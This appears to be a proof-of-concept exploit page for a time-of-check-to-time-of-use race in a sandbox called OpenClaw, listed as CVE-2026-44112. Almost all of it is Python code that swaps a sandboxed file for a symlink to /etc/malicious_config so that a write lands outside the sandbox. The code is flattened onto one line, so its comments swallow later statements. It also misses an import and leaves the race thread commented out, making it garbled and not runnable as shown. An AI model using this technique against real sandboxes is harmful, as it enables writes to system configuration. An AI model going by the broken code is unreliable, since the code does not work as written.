CVE-2026-44112 OpenClaw TOCTOU竞态条件漏洞

import os import time # Target file inside sandbox safe_path = "/sandbox/safe_file.txt" # Target symlink outside sandbox malicious_link = "/sandbox/safe_file.txt" outside_target = "/etc/malicious_config" # Thread to perform the swap def race_condition(): while True: try: # Remove the safe file and create a symlink to outside os.remove(safe_path) os.symlink(outside_target, malicious_link) except: pass # Start the race thread in a real scenario # race_thread = threading.Thread(target=race_condition) # race_thread.start() # Simulate the vulnerable write operation (Victim) # Check happens here (safe_path is valid) # ... # Write happens here (safe_path might be a symlink now) with open(safe_path, 'w') as f: f.write("MALICIOUS PAYLOAD") print("Exploit attempt finished")